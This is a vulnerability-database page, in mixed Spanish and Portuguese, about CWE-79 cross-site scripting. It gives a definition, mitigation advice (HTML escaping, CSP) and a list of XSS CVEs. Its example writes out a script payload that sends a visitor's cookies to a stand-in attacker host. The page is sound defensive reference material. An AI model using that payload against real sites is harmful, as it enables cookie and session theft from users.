Fallos del tipo CWE-79

30.065 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-62698MEDIUMStored XSS through system messages in ExternalGuidanceEPSS 0.3%CVE-2026-76326MEDIUMStored Cross-Site Scripting through Dashboard Sparkline Tooltip Options in Splunk EnterpriseEPSS 0.3%CVE-2024-39728MEDIUMIBM Datacap Navigator cross-site scriptingEPSS 0.3%CVE-2023-32089MEDIUM Pega Platform versions 8.1 to 8.8.2 are affected by an XSS issue with Pin description EPSS 0.3%CVE-2024-13711MEDIUMPollin <= 1.01.1 - Reflected Cross-Site ScriptingEPSS 0.3%CVE-2026-88618MEDIUM1024-lab SmartAdmin v3.30.0 contains a stored cross-site scripting vulnerability in its file upload functionality. This allows a remote attaEPSS 0.3%CVE-2023-3588MEDIUMStored Cross-site Scripting (XSS) vulnerability affecting Teamwork Cloud from No Magic Release 2021x through No Magic Release 2022xEPSS 0.3%CVE-2023-34374MEDIUMWordPress AnsPress – Question and answer Plugin <= 4.3.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2023-38423MEDIUMBIG-IP Configuration utility vulnerabilityEPSS 0.3%CVE-2024-35239LOWStored Cross-site Scripting on Components of Umbraco FormsEPSS 0.3%CVE-2024-3638MEDIUMElementor Addons by Livemesh <= 8.4.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Marquee Text Widget, Testimonials Widget, and Testimonial Slider WidgetsEPSS 0.3%CVE-2024-5419MEDIUMVoid Contact Form 7 Widget For Elementor Page Builder <= 2.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via cf7_redirect_page AttributeEPSS 0.3%CVE-2022-42452MEDIUMHCL Launch is vulnerable to HTML injection.  HTML code is stored and included without being sanitized. This can lead to further attacks suchEPSS 0.3%CVE-2024-12069MEDIUMLexicata <= 1.0.16 - Reflected Cross-Site ScriptingEPSS 0.3%CVE-2020-7317MEDIUMePolicy Orchistrator (ePO) - Cross-Site Scripting vulnerabilityEPSS 0.3%CVE-2023-23954MEDIUMAdvanced Secure Gateway and Content Analysis, prior to 7.3.13.1 / 3.1.6.0, may be susceptible to a Stored Cross-Site Scripting vulnerabilityEPSS 0.3%CVE-2024-1097HIGHStored XSS in craigk5n/webcalendarEPSS 0.3%CVE-2024-1427MEDIUMThe Post Grid <= 7.7.1 - Authenticated(Contributor+) Stored Cross-Site Scripting via section title tagEPSS 0.3%CVE-2024-48396MEDIUMAIML Chatbot 1.0 (fixed in 2.0) is vulnerable to Cross Site Scripting (XSS). The vulnerability is exploited through the message input field,EPSS 0.3%CVE-2024-5219MEDIUMEasy Google Maps <= 1.11.15 - Authenticated (Author+) Stored Cross-Site ScriptingEPSS 0.3%